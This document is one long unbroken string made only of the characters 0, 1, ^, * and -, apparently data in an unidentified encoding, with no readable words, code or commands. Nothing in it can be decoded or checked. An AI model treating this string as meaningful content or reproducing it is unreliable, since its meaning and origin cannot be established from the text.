0^1*1^1*1*1*^--110-11*1*1^1*1*0^1*10110^-**-010-0101**1^1^1**11*1101*0110101******01*101*101******11***00-*001******11**01010-*001*11*******00101011*10^^-*011***101^^11*001*0-*^-10-11*0101****1**001101*0--********01*011*******************1*011********0--*******************0-*1********0-001********00^1101********001*1********00^1*0101*1*001^1*1**01^1^1*10-******0^1*01010^1^-001**00--1^11*01010^1*1*--------001*1*0-*0110^1^1*10-*01010^1^1**11*---------^1*0-*0110^1^1*01101*110101******110-01*101*********010^1*001********001*0011*001*11****011**1*-*0101*-**^^1011010-11011**^11011**********************01*01*11****001***1^1*101*0-*01*11011***1^11*-**1*0101*^--1010^10-*^1*-0101*0110^1^1*01011*101**0110^1**00---101*01010^1*1*1010^-0101*0110^1^1*^1101********0011*11*00^1*^11*1*-11*0-0^1*1*01010^1^1*^11*0101*00101****01**0^1*1^-*110-11010^^1101******110^-10-**1*010^1*****01**00^101**^10110^1*1*10-10-0101*0110^1^1*00-*101**0110^1**00--1*11*01010^1*1******00101*00-011*0-*1010^1^1*01101*********010101*********0-1********001011*1********00^1*********001*********0110^1********0010-1********0010-1*******************01*001********0101*0101*1*110^1*1*00110^1^1*-01*0-0^1^1*001****01*****0--010110^1^1*001*******010101010--01*1^1^1*001****01**001**0--010101^1^1*001*******0-11010--*101^1^1*001****01**0-010^--0^-001^1*001****01**0^110^--*0-001^1*001*******-1*10--001101*01^1*1**11010^1*1********-*****00101*010^-**00^1**001^11011****10101*01*******1101010110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1101010-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**011*001*101*11*******011**00101*1101*-*0010110101101*110110-**1*0^110-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1***10101*11*00-----10--11011**0-00101*001^1*01101*-----10--110101**-00101*001^1*110110^-1*1*^10^1010-11*^1*01*1*--------1^-1*-*1011*-----10--1^101*00-00101*001^1**01*-11*********^1*0^-001**00---011*^1*0-----10---0-*00-00101*001^1*-1*0-11*1011*0-01*--------00110-*-001*^1********-00101*00^^1*01*1*-----10---00101*0-00101*001^1*1101*0-11*********^1*0^-001**00--101101*^1*0-----10--110^11*0-00101*001^1*^1101******11*110-01**01*010^1*****01**0-0101**^-*001*1*1011**011*1101*01*******001*0^1011*1^11010-01*^101^-*101**--------0^-1*-*^1*-11*-----10--10-*1*-00101*001^1*1*1*-11*********^1*0^-001**00---101*^1*0-----10--1*00101*-00101*001^1*1*^^1*10-11*0101*01*1*1011*0^11*-----10--10-0101*-00101*001^1**11*110101******011**00101******1**01101^1*001******1**01*^1*00^^11010-01*^101^-*101**01101*-*00-01*01**--------0^-1*-00^1*0-11*-----10--110101011*-00101*001^1*0101*0-11*********^1*0^-001**00--1*11*^1*0-----10---^-*-00101*001^1*^1101******^1*1^11**01*010^1*****01**0101101**0^-*001*1*1011*001011*0101*0011****001***-01*101*1101*-*00--------01^-*-00^1101*****00101^^1101**00^1^^1********010^11*001*11*001*1*--------^11**-00101*001^1*^1101********00110^1*00^1*^^101010-11*^1*01*1*********0^1*^-001**00--1^11*^1*0--------001011*00-00101*001^1*1^1*-11*1011*011011*----------*00-00101*001^1*^1101*****00^10-1*11**01*010^1********01^101*001*001*01*1*0101*0110101******-101*00101********001011*1*001*********11*11*001*001**11*01*******0010^^1011*-101*011*00--------0^-1*-001^1*-11*--------0010-*0-00101*001^1*^1101******01^10-1***1*010^1*****01**010^1**0^-*001*1*********10101*^-001**00--101011*^1*0--------0^^1*-00101*001^1*^1101*******0-1^1101*00^1^^1*********10101*001*11*001*1*1011*001101*********1010-*****001***1*1*****001**001*1******1**0011*01*****01**00-011*******************01*011********0101011*****001**011*11********011011011*****01**0^1**********-1*********101011********00101011********011*101*****01***10^1*****01***-001********110-11*****01**001*1********00-01*********00101*101*10101*001*1*101*001^1*0-*0-11*0101*01^1*001****01**001**0--0^1*01^1*001****01*****0--*01*01^1*001*******-1*10--0-*001^1*001*******010101010--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0-11011*****001**11*1****01**001^1^1*1*******0010101*********11*******0^1*001^11******001*00--*********010-******************************1*1******001*00110-******01**0101011*****011**01*101********01**1*******0010101*********11********01*01^101******01*001*1101*****011**01*101****************001^101*001********0010101*11***************************************************************101*00101*10-10^1*1*-10^1^1*01011****-101101^^11**0-10---------001101*0-0010110^1^1*01011*-----1^--01*0--^^101^-*-11*01*1**01*1*1*--------0011011*0-0010110^1^1*^11**01*1^1**11010-01**01*1*1*--------010-1*0-0010110^1^1*^1101******00101^10-11*001*010^1*****01**001101011*001*1*^1*1*-----1^-1^^---00^101^-*11*1*1*1*0^1*1*1*0101^-010^10110^1^1*00-*0^1*1^1**11010-01*0^1*1*1*10^10-010^10110^1^1*^1101******-01101^1011*001*010^1*****01****011*001*1*^1*1*-----1010-11**0--^^101^-*-001*1*1*00101*1*1*01*0-1010^10110^1^1*11011*00101*1^1**11010-01*00101*1*1*******************001^101********01*011*******************1^11********001101**********10-********01*011*********10-*********0101*******************01101*0101*1010110^1*1*10110^1^1*10-*00-0110101******001^^-11011*01*01*1*-10-11010^^110^-1^-11*1*^1*****01**00-11**0^10-*1*1*001010-1010^11010^1^1*-01*101**01101*001*01*1*********10-*********10-******************************001101*********01101*******************00-*00101*1011010^1*1*11010^1^1*01011*001*^-1011*************************************************************0101*00101*10^10^1*1*^10^1^1*01101****-101101^^11**0-10110101****01**00101*-101^101*01*1*011**11****001**1^1^-101^11****01**010-11*0101*1**0101*01*1*011****001**^-00-101^101******0011011*-101^101*******0011*0--0011****011**10-001*10^1101**-1*110^-10-**1*0101*^11*^11*1*******0011**0010-00101****1***1*00-101101011*01*1**1*01*1*10^^110101*101*******0101*-10110^11*1*1*10-001011*****1*00-011*00101*1101*001****001**10-*0--001101*^11*1*1*^11*1^1*1*******0010^^1011*-101*011*****1**0-1*0010^11011******0-1**10-0011*****1*00^1011*010^1011*01*1**1*01*1*001****001**101101*--0^1**1****001**0-1*0--00-1^101101*11*****1*001^-*0101*11*****1**101**010^1*******0011***0101^1****001**0011*00--0011*****1**-011*0101*11*****1*00^1011*010^1011*01*1**1*01*1*001****001**101101*--*1****001**0-01*--*1****001**-101*--00101*01*1*-----^---**00-0010^^1^1*00101*-11*1011*01^1*110101******0-*1*101******1***-**001******1**00^1**001*11*******011**00101*0-*-*0010110101101*-^1**001*1010110-11*^1*01*1*1010--0101*101*0-11*-----^--001011*00-0010^^1^1*0-*0-11*^1*00^1^^101^-*101101*1*1*-01*1*1*-----^--101*1*0-0010^^1^1**01*-11*-01*1^1**11010-01*-01*1*1*-----^--0010101*0-0010^^1^1*1*^^101*-11*0-1*1*1*^1*01^1*0101^101101*110101******00110101*101******11**0110101**1******11**10^1**01*0011*1*1*10-001*00^-11*01101**11*1*1**11*1^1*1*******0010^^1011*-101*0011*01*1*-----^--101*01*-0010^^1^1*^110^10-10-11*1*^1*********00101*00^-00^1*1*011****001**-01^-10110110101******1101011*0101********001010^1*001********0011*001*001*101*******0011*0--0011****011**10-001*10^1101**-1*110^11010-**1*0101*-01*11011*-11*011****01****001*10^11011******0-1**10-0110101******0--*0101******01**0-1**001******01**-1***1*011*01*1**1*01*1*0101*01*1*0110--0101*0-*-----^--*00-*-0010^^1^1**11**1**110^110101******0--*0101******11**0110-**1******11**-0011**1*011*01*1**1*01*1*0011*01^1*0101^-101*1*1*01101*1*1*-----110--001**00-0010^^1^1*^11010^11*-11*1*^1********^1*1*001*-1*1*1*-01*1^1*01101*01101*1^1*1101*01*1*-----110--10-**-0010^^1^1*^1*0-11*1101*01^1*10101*1*1*01*101011****01**01*001*0101*0101*11011010^1*0101^1^110101*00^^11*00101*^11*10101*1*1*-----110--110-*00-0010^^1^1*110110^1011*1*^-001*-11*-00^1*1*01*101011*******00101011*10^^-*011*01*0101*0011**1*0011*********11010101*001*0011*10101*1*1*01*101011****011**10-001*10^1101**-1*110^-*11**1*0101*10-*01101*-01*10101*1*1*-----110--0-011*0-0010^^1^1*1011*0-11*01*101011*******011**00101*1101*-*0010110101101*-01***01*********10-01*001*1101*10101*1*1*10101*1^1*1*******0011**1011*101011*011****001**10101^-10110110101******1101011*0101*********01*11*001*********^1011*001*101*******0011*0--0011****011**10-001*10^1101**-1*110^11010-**1*0101*-01*00-*1*******0011**0010-0110101******0--*0101********001*1011*001**********0011*001*11*******011**00101*1101*-*001011010^1*-1101**001*********1011011*001*001*01*1*-*1011010^110101******1101011*010^^^10-11*-11010-11*0101*******0011*0--0011****011**10-001*10^1101**-1*110^11010-**1*0101*-01*1^1*-11*110101******1011**0101******11**1^1**001******11**1101011**^11011******0-1**10-0110101******0--*0101*********1*101*001********001^1101*001*11*******011**00101*-1*-*001011010^1*--1**00^-1*0-11**1*01*1*^1*01*101010110^110101******^^11*101******01**00-11**1******01**00^1**01*11*****1**101**010^1*******0011***0101^1****001**0011*00--0110101******110101*00101******01**-*1**1******01***1***^110101******0--*0101******11**-0011**1******11**0110-**1*11*******011**00101*1101*-*001011010^1*-1101**001********001**1*001*001*01*1*0101*01*1*0101*01^1*011****001***01^1^-0^1*01^1*011****011**0011*1*101*^11*1*110101^-101*1*001*******************01011*01*0^10-******011**1^110110-0110110--0101*1101*-----10---^101*-0010^^1^1*0-1**1*010110^110101******0--*0101******1***10^1*001******1**0101*01*001*11****01**01*001*0101*0101*11011010^1*0101^110-0101*00^-01*00101**1*01*1*00110-11010^^110101*^1*-00-11*01^^1*1*1*^1*-00-11*01^^1*1*-----10--^-011*-0010^^1^1*^110101*^^1*10-11*10-*1*1*1*^1*****01***10-**^10-*1*1*10101*10110^110101******0--*0101******01**01^1**01******01**-011**01*11*******00101011*10^^-*011*01*010101^11**1*1011*********-0-1*001*001*01*1*0110--0101*1101*---------01**-0010^^1^1*^1101******-01010-0-*001*010^1********001*01*001*1*^1*1*10101*10110^110101******0--*0101******1***-1**01******1**0101101**01*11****011**10-001*10^1101**-1*110^110^11**1*0101*-01*11011**1*01*1*0110--0101*1101*---------^1*0-0010^^1^1*01011**1*010110^110101******0--*0101******1**0-11011*001******1**00-0011*001*11*******011**00101*1101*-*0010110101101*-01***0^1^1^-11**1*01*1*0110--0101*-1*--------010-1*0-0010^^1^1*11011**1**110^110101******0--*0101********00110-01*001*********1010101*001*11*******011**0010^10-*-*001011010^1*11*01**001*********01^11*001*001*01*1******011**0-^1*****001**0011*1****************11**1010^1*****011***0011*****0011**1010^1*****011**1010-******1**-011******01**0101011****************001**1*0101*****001***1*1*****01**01**********01*^1*****011**1*101********00-01********00^1101*****0011***001******01***^11********01101011*****01**0011*********0010101*101*1010^^1*1*10^^1^1*0^1*-11**1*01^1*110101******01*101*101******01**10110-*001******01**-00-*00^-*001*1*011*001*1*-*001^1*0101^^101*1*1*1^1*1*1******0101*001010-*0-*0101*1^1*01101*1^1*1^1*110101******0010-*0101******01**0010^1*001******01**0^^1*001*11*001*1*-----110--**01*-001*0^1^1**11******0101*0010101101^-*11*001*1*-----110---1*1*-001*0^1^1*^1101******1010-*00-*001*010^10--0-11*-11*1*1*011*001^1*110101******01*101*101******01**-*01*001******01**1011*1*00^110101******0-101*0101********00-11011*001********0010110-*00^-**11****001***1^1*10^^11*01*11011**10-00-011**001*0101*101*001*1*001*001*1*101*001^1*0101^10^1*1*1*1*1*1*1******0011*001*1**-*^1*1^1*01101*1*1*1^1*110101******0010-*0101******11**010-11*001******11**00--*001*01*001*1*-----110--0010-1*-001*0^1^1*01011******0011**0101010^-*01*001*1*001*001^1*0101^1*01*1*1*-1*01*1******0011***-*0-**1*1^1*01101*-1*01^1**1*01011*00101****1***110^1^-*11*00-*01*1*-----10--10-1**-001*0^1^1*11011*01*10-0101******01*101*101******1**00--**1******1***10-**1*11****001***1^1*101*0-*01*11011***1^1**01*001*0101*0101****1**001101*0--*-*0-*01*1*-----10--1010^1*0-001*0^1^1*^11*01*10-0101******01*101*101******11**00-1**01******11**011011**01*11****011**0011*1*101*^11*1*110^^--1**001*******************0011*001*01*-1*0101****1**001101*0--011011*0-*01*1*-----10--10--*0-001*0^1^1*0-1*01*10-0101******01*101*101******1**0^1101**1******1**01^101**1*11****011**10-001*10^1101**-1*110^10-0011*001*0101*00-*-11*-11*0101****1**001101*0--001011*0-*01*1*-----10--^110101*-001*0^1^1*-01*01*10-0101******01*101*101******11**0--1*001******11**0010-1*001*11****01**01*001*0101*0101*11011010^1*0101^110^1011*00^^11*00101*0101****1**001101*0--0^11*0-*01*1*-----10--1^11011*-001*0^1^1*^1101*****00101^1^1101**0^1^^1*****01**011***00^11*^1*1*01*10-0101******01*101*101******11***01**001******11**01011**001*11****011**1*-*0101*-**^^1011010--**001*0-********************11*001*01*101****1**001101*0--*011*0-*01*1*--------01011**-001*0^1^1*^1101******001*11011***^1^^1*****01**0^1^1*00^11*^1*1*01*10-0101******01*101*101******11**001*1**1******11**0-001**1*11*******011**00101*1011*-*0010110101101*-110101**1*********01*11*001*101****1**001101*0--0-01*0-*01*1*---------0101*0-001*0^1^1*0^1*-11*01*10-0101******01*101*101******01**^-11*001******01**1^-1*001*11*******00101011*10^^-*011*01*010-101**00^^11**0-0-11*0101****1**001101*0--001101*0-*01*1*101*0-010^1*0^1^1*^1101*****00110-01010-1**1*010^1*****01**010110101*001*1*^1*1*0-*01^1*1*******00101010101011*110-*1101*0011****01**01*001*0101*0101*11011010^1*0101^11010-11*001*-1*00101*********0110101*****001***101011********1^^1*******************0101011*****01**011*101*********101******01***^1******1**0011*******1**0-1******01**0-101********00--01****************1**0-1*1*****01**0^-01*****01**011*11******1**101101******1**01*******001**01101^1********1^1*101*101*0^1*1*1*0^1^1*00-*--------*0101*0-*0-*1^1*-01**1*0110101*110--010^^11*--------10-01*0-*0-*1^1*^1101*****00-^^10^11*001*010^10-0010-11*-11*1*1*0^1*00110^1**00--1*11*01011*1*1*--------0110-*0-*0-*1^1*0-1*01011*1^1*-01*^--10101*-1*001*0-0101*0-*1^1*10-*101**0110^1**00--101101*01011*1*1**0^-0101*0-*1^1*^110^1^110-11*1*^1********101*11*00^10-*1*1*01011*1^1**11*0101*00101****01**0^1*1^-0^--1010^11011*1101010-0101*0-*1^1*1*^1*****01**0-***01*-1*1*1*0011**110^1**00---101*01011*1*1*0-110-0101*0-*1^1*^1101010-110-11*1*^10-1^-11*10-*1*1*01011*1^1*01101*********-0101********01^-********0-0101*********1^1********010^1********0010-1********0010-1********001010-********01^-********0-1********************1101*0101*1*-*1*1*00-*1^1*01101*-11*1^1*001*******-1*10--00-1*1^1*001*******0-11010--010-*1^1*001****01**001**0--011*^1^1*001****01**0^110^--001*^1^1*001*******010101010--0-00^1^1*001****01**0-010^--001^^1^1*001****01*****0--001101*01^1*1**11010^1*1******00-1011*****0^1*0^1*1***001**001^11011****10101*01********1010110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01********1010-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**00--*0101*11*******011**00101*-1*-*0010110101101*-*101**1********00-00-*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1**00-----10--11*0011*-00101*001^1*^1101*****00110110^-0101*00^1^^1********0-0-*00^^1*01*1*01010^1*******0011**1010-0-*00-----10--110-011*-00101*001^1*0-1*--------01^-*-00^1101*****00-0-*00-1*001*010^1********0-*1*001*001*01*1*-----10--1*-11*-00101*001^1**11**********1*010-^^110^101101*-*^1**01******0010101*011*11*001*011******0011**1*0101*00^1011******0011**1010^1*001*101**011010-01*011*00---------11**-00101*001^1*^1101*****00---*-1*001*010^1*****01**00--1*001*11*001*1*1101*00101****1***101*-1011011011******011**0011*101**--------**1*0-00101*001^1*^1101******1^11*101011*001*010^1*****01**01^101**1*11*001*1*1101**101*--------01010-*-00^110101*^-1*10-11*-*001*1*1*^^-*-*001*1*--------01^11*0-00101*001^1*^1101*******00--***1*010^1*****01**01^1**001*11*001*1*********10101*********1**0101*101*01^11*00^1101*110110-11*1*011010-00--0^1010^-11*0101101*10^1*********00101*001*01*******-1*10--01^^1********^-01*001*01****01**0^110^--********0^-01*001*01****01**0^110^--011**001*00--------1*1101*-00101*001^1*0-1*0101*001101*--------110-01*-00101*001^1*-01*01^1*11****01**0110-1*001011********1^-1********0^-*********110-*********11*********0^-*********110-********01010101********^1*1********00110-********00^-********0-********************0011*0101*10101*001*1*********101*1*0-00^1*01^1*001****01**0^110^--*01*01^1*001*******-1*10--0-*001^1*001****01*****0--0011*001^1*001*******010101010--001101*01^1*********1***-001*1******010-011*****01**0-0011****1**001^1^1******0--------001^1*0-*10101*1^1*11****01**0010-1*001011******************00-*********00-*********00-*********00-*********00101*00101*10-*001*1*-*001^1*01011*01010^--------10110-*-00^110^11*10-11*1*^-0-00-11*101*001*1*--------101^1*0-001011*010-*********-**10-0010-01*011*-*00--------00-01*0-001011*0^1*0-11*1101**011010-*00101*001101*00101101010^^101**101**011010-01*011**101****1**010-00-11011011011******011**0011*-**11011******00-**11*101**--------1**1*-001011**011*--------0010-1*-*0-*--------0-*1*-001011*0^1101********101^-*00^1^^^-*001*001*1**********01*********1**0101*101*01^11*00^1101011010110-11*1*011*-00--01*011**1101*1*001*^1********^10-*001*01****01**001**0--********0^10-*001*01****01**001**0--*1*00101*00--------^^11*-001011*011011*0101*001101*********0110-********0010^1********00^^1********1*101********0^1********************01*11********001*11********01*101*******************0101*0101*10^1*01011*001011*101*001^1*001****01**0-010^--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******-011*****01**001****00-***1^1^1*-----10--11*-1*-*01*001^1*^1101******---011011*001*010^^^^-11*-*001*1*01010^-*00--------1^-1*-00-01*--------1101**0-*01*001^1*^1101******01^110^1101*001*010^11*0010-11*-*001*1*********0^1*010-0010-01*011**1*0--------10^1*00-*01*001^1*^1101*****00-01101*-**0^1^^1********1*0-*00^101*001*1*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------011*1*0-*01*001^1**11*1101*00101********0101*101*1**--------1010101*0-*01*001^1*^1101******1^-^10101*001*010^1*****01***1^11*001*11*001*1*1101*01*1*-11*--------^10-*-00^1101******0101^1^^1*00^1^^--^-11*101*001*1*--------10-11*0-*01*001^1*1101*0-11*********^1*********01**0101*101*011*-00--01*-**0011011**1*^1*****01**011***001*01*******0-11010--*****001**011***001*01*******0-11010--0011*00^1101011010110-11*1*011*1*0011**--------1*1101*-*01*001^1*-01*0101*001101*--------110-01*-*01*001^1*0-1*01^1*11****01**0^-1*001011********00-01*********10-*********1*11********0-**********1*11*******************0^101********011*11********-1*1********11*001*********11*********001*11********0011*0101*1*1*001*1*********101*1*0-00-*001^1*001*******-1*10--0011*001^1*001*******010101010--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1******011011011*****01***0011***0-***1^1^1*********-----10--1*10101*-*01*001^1*-01*01010^1*******00^101*010-0-*00--------1^-1*-00-01*-----10--110-101*-*01*001^1*^1*0-11*********^1*0010-0010-01*011**1*0-----10--10-0011*-*01*001^1*1*^-010^-11*-*001*1*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00-----10--101^-*-*01*001^1*^1101*****001^1010101***01*010^1*****001**-11**00^101*001*1*1101*00101******00^10110-1011011011******00-**11*-**11011******011**0011*101**--------1011**0-*01*001^1*^1101*-0011*^1********0011*1*001*01****01**0-010^--********01*0011*001*01****01*****0--******0-1^-0101*001*010^1*****001**01101**00^101*001*1*1101*00101*******0010110-1011011011******00-**11*-**11011******011**0011*101**--------010^1*0-*01*001^1*^1101*****0010^1*10^11*00^1^^1********0110-1*001*11*001*1*1101**101*--------00^-*-*011*0-11*--------11010-*-00^110101^^-101*011*001*1*1^^-101*011*001*1*--------0110-*0-*01*001^1*^11*********01101**********1*********001**101*101*01^11*00^110^^-0-11*1*0110101**01*00--------1^^1*-*01*001^1*^1101******00^10-01101*00^1^^1********11*001*001*11*001*1*0101*001101*--------01010101*-*01*001^1*^1101******00-01*-1**1*010^1*****001**11*01**^101*001*1*01^1*11****01***0-1*001011*********-01********11011******01**010101******01**00-*********0-11011*****01**00-*********************-01********-0-1********00^11*****001**00-*********00^11********00110-1********01011*0101*1*1*001*1*********0110101*0-00-*001^1*001****01**001**0--0011*001^1*001****01**0^110^--0101*001^1*001*******010101010--001101*01^1*********1***-001*1******001011011*****01**0^-1***-***1^1^1********************01101******101**-01******01**11*011*****001**1101011********001**1*******0010101*********011*******001*0010110-*****001**00-1******01**1*1101**********001*******0010101*********^1******001***11*********011010101********1*011*****************1^101*00^1010^1101*01*1*-----1^-110110-1*-00--------01***-0010^^1^1*^1101******00^101*1101*00^1^^1********11*001*001*0011*1*1*--------01^-*-00^1101*****001101^1101011**01*010^1********^1^1*00^10-*1*1*--------010101*00-0010^^1^1*^1101********001010101*00^1*^-011*-11*-11*1*1*********0^1*^-001**00--101011*-1*01*1*--------011*1*0-0010^^1^1*01101*-1*01^1*-01*--------^10-*-00^11010^11*-11*1*^1*****01***1011**01*-1*1*1*--------1*011*0-0010^^1^1*0011*0-11*********^1*0^-001**00--101101*-1*01*1*--------0010-*0-0010^^1^1*00-*-1*01^1**11*0101*00101****01**0^1*1^-0--------^10-*-00^1101*****0011**101*1**1*010^110-*-11*10-*1*1*--------1010^1*-0010^^1^1**11**********1*0^-001**00---101*-1*01*1*---------00101*-0010^^1^1*^1101*****00--101*-**1*010^1*****001**1010101**1*1101*1*1*-1*01^1*01011*010101*11*********************00-********001011*********001*11********01*********************01*11********101^1********0--01********01010101********01011*********00-1********00110-1********0110-1********00-*0101*1010^^1*1*10^^1^1*1011*0-11*00-0110101******001^^-11011011011*******101*01101*0--10-*00^1*****************************************1011*********01011*********0101*00101*1011*^1*1*11*^1^1**11*********00110^10-0---------01^11*-001*0^1^1*01101*-----110--1*-0010-*101****01**010-*00101*-*00^1***************************************************************101*********011*00101*101*0^1*1*1*0^1^1*11011***********0010-01101^1*********11*0010-0110101****01**00101*-10110^1*01*1*011*00---------10-*-001*^1**10-11*-11*1*1*-----110--0-1011*-*0-*1^1*0101*0-11*********^1*0010-*101******001*1**101*11****001**01101^-10110^1*01*1*--------0^-1*-001011*0-11*-----110----11*-*0-*1^1*-01**********1*0010-00110101******010-1*0101********001*^1*001*********10-01*001*11****001**00101^-10110^1*01*1*^1*01^1*0101*01*1*-----10--101^1*00-*0-*1^1*^110^-1*-11*1*^10^1010-11*-11*1*1*011****001**1^1^-101^11*******011**0010^10-*-*0010110101101*11*10-*001********001^-1*001*101*01*1*011****001**-01^-1011*01*01*1*0101*01*1*-----10--11010101*0-*0-*1^1*00-*011****001**10101^-101^101****01***^10-101^11****011**0011*1*101*^11*1*110^^1^-1**01*******************01011*01*0^10-*0101****01**1*0010-101^11*******00101011*10^^-*011***1011*011**^11011*00-110-11*-*001*1*0101*01*1*-----10--11*^1*-*0-*1^1*^110101*^110101010-11*0-1*1*1*1*^-10-0-11*0-1*1*1*011****001**^-00-101^101****01***^10-101^11*******011**0010^-01*-*0010110101101*-00-11*00^-01*-11*0101****01**1*0010-101^11*******00101011*10^^-*011***10101^11**1*0011**11*-11*-*001*1*0101*01*1*0101*01^1*011****001***01^1^-0-----10---101011*-*0-*1^1*^1*0-11**1*01^1*110101******1011**010^1^1^-11*110^10-11*110101******1*1101*101********0011010-*001********00--01*00^110101******1011**0101******11**11*1**01******11**1101101**^110101******1*1101*101*0101010-11*01101*011****001**1*1101*101*0011*0101****01***^10-101^11****001***1^1*10^-01*01*11011**1101^1^1***1*0101*0101****01**1*0010-101^11*******00101011*10^^-*011***10-*11**^10-**11*-11*-*001*1*011****01**0^-11*101*********110-1*001********0010101011*001*11****01**0^-11*101******1**0^-11*001******1**001011011*00^-*001^1*011****001**101010101^-0011*001*1******01**001*10110-0---------0010-*-00^1101*******1*^-11*001*010^-1*10-11*10-*1*1*--------*-1*0-*0-*1^1*01101**********1*0010-00110101******-01101*101******11**01011011*001******11**00-101*001*11*001*1*--------0110^1*-*0-*1^1**11*011*001^1*110101******0-*1*101*********0011011*001*********1101011*001*11****001***1^1*10^-01*01*11011**1101^1*11**001*0101*101*001*1*********0101101*****001**01*-1********11*11*****001***1101******1**0^10-********01^-*****01**0-0^1****************1***01011*****001**0^10-*****************************0-001******1**0101*11********1010101********0-1*0101*1*-*1*1*00-*1^1*^11******001**01*010^-00110101******-01101*101*********0010-*001********00-1*1*00^101*001*1*101*001^1*0101****01**^-*00101*-*00^1******001**1*011*0-********00101***************************************************************011*00101*^1011*1*1*01011*1^1**11*0-*01^1*0101****01**^10^-1011*01*0--------1^-1*-0010-*-----10---0-01*-0010101*1^1*^1101******-0101^101**0^1^^1*****01**01****1*0011*1*1*********10101*--00^101^-*^11*01*1*1011*01*1*-----10---011011*-0010101*1^1**11*1011*01^1**11010-01*1011*01*1*-----10--1^10-*-0010101*1^1*^1*0-11*0101****01**10110^-10110110101******0-*1*101******1**011*1**01******1**0101101**01*01*001*1*-**001**1*001^1*0101^11011*01*1*0011*01*1*--------1*1**-0010101*1^1**11*1011*01^1*01101*0011*01^1*110101******11*11*0101******1**01*-1*001******1**00^-1*00^^1*0--------0-01*00-0010101*1^1*^11010-01*-11*1*^1*11*-11*-01*1*1******011**00-0-00-001**00--1^11*-1*01*1*---------*1*0-0010101*1^1*^110101*^101101*-11*-01*1*1*1*^1*********00101*00^-01*1*1*-1*01^1*^11*010101*11*00--------1^-1*-*-1*---------0011*0-0010101*1^1*^1101*****0010^110-00101*001*010^1*****001**-*1**1*1101*1*1*********10101*010-00110101******-01101*101******11**^-**01******11**-1101**^^1*0--------1*^1*-0010101*1^1*0011*0-11*1011*0110101******0-*1*101******01**0-101**1******01***0101**1*11*******00101011*10^^-*011*01*01010^101**1*1101*********001^11*00^-**011*00101****01**11010^1^-*****001***11**********0011*********10-1*********001101*********11011********1^^1*********01101*******************0010101*********0011*******************01^-********01*11********010^101********0-*0101*1010101*1*1*10101*1^1*^11******0101**01^1010-0-101*01^1*011**1^1********00^1*010-011*****0101**101101010-0-101*01^1*011*00--------1^-1*-*0011*--------1101011*0-001^1*1^1*01101**********1*0^-00110101******010-1*0101******01**1*1011*001******01**010-11*00^-*00--------*1*1*-001^1*1^1*^11*1101*01*******0011**0010-0110101******1**1*101******11***00-*001******11**10^-*001*11****011**0011*1*101*^11*1*110101^-001*1*001*******************01101*01*0^11011*011****011**1*-*0101*-**^^10110101^101**01*0011*******************00101*001*01*11****001***1^1*10^-01*01*11011***1^1^^11*001*0101*********^^1*******************^^1*******************1*101*********-11*******************0010-*********01*0101*101^1*1*1*1^1*1^1*-01******01***00-0^-001**00--1*11*-1*01*1******0011*00101**00-00-1*01^1*01101**********1*********************1*********************1*********0101*00101*101*1*1*1*1*1*1^1*-01**11*1^1*001****01**0^110^--0-01*1^1*001****01*****0--001101*1^1*001*******010101010--0-11*1^1*001*******0-11010--00-1*1^1*001****01**001**0--010-*1^1*001*******-1*10--001101*01^1*********1***-001*1******0^11011*****0011**0^11***-***1^11011****10101*01*******-0010110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******-0010-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**00110-*0101*11*******011**0010^11011*-*0010110101101*1101010-*00^1*0110-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1*****001010^1*******001*0^1011*101101*-----^--011011*00-00101*001^1*^1101******0^11010110101*00^1^^1********1010^1*00^1101*01*1*-----^--110^1*0-00101*001^1*0011*0-11*--------^10-*-00^1101*****001*10110-1011*001*010^1010-00-11*0101*01*1*-----^--00^11*0-00101*001^1*^110101*^1********-0^1*001*11*001*1*1*^1*****01**010-11**1*11*001*1**********11*^-001**00--11011*0-11*^1*0-----^--011*01*-00101*001^1*-11*-11*1011*0-01*--------^10-*-00^110^1*^-11*1*^1*****01**0-11011*00^^1*01*1*-----^--1*0101*-00101*001^1*01011**********1*0^-001**00--101101*^1*0-----^--0^1101*-00101*001^1*^1101******0^^101*1**1*010^1*****01**0^10101*001*001*01*1*1011*01101*0-11*0011**011010-01**1*0--------^10-*-00^1101******^1*-0-1*001*010^101011010-11*0101*01*1*-----^--0-1011*-00101*001^1*01^^-11*********^1*0^-001**00--10101*0-11*^1*0-----^--1*-1*-00101*001^1*^1101******1*10-0^11*001*010^1*****01**0--1**1*001*01*1*1011*00101*0-11*00-0011*^1*1*001***1*0-*00--------^10-*-00^1101******^11*0010-*001*010^101010^-11**1*01*1*-----110---11**-00101*001^1*1011*0-11*********^1*0^-001**00--1^1*0-11*^1*0-----110--0^11*00-00101*001^1*^1101******11011*110-1*001*010^10-1^-11*0101*01*1*1011*011011*0101*0^11010-01*011*00--------0^-1*-*1101*-11*-----110--1*101*0-00101*001^1*10^^-11*********^1*0^-001**00--101011*^1*0-----110--11*11*0-00101*001^1*1*^1^10^-11*^1*01*1*1011*010-*1101*01*******001*0^1011*1*11010-01*011*00--------0^-1*-*-1*-11*-----110--1**1*-00101*001^1*00101*-11*********^1*0^-001**00--^-*^1*0-----110--1^^1*-00101*001^1*^1101*110^-11*1*^1**10-11*011*001*1*1011*00-1*0011*001101*--------0^-1*-*1*^-11*-----110--10110101*-00101*001^1*00^^-11*********^1*0^-001**00--110-*^1*0-----110----01*-00101*001^1*1*0^-11*1011**11*0-11*--------0^-1*-001011*0-11*-----110--0^1011*-00101*001^1*^1101*011*-11*1*^1*****01**010-101*00^^1*01*1*********0^1*0-11*11**001*0--------0^-1*-001*0^-11*-----110--0^-1*-00101*001^1*-01*-11*********^1*0^-001**00---01*0-11*^1*0-----10--1101**00-00101*001^1*10-*-11*1011**-*--------0^-1*-0010^^-11*-----10---101**-00101*001^1*1*1*-11*********^1*0^-001*^1011**1**--------0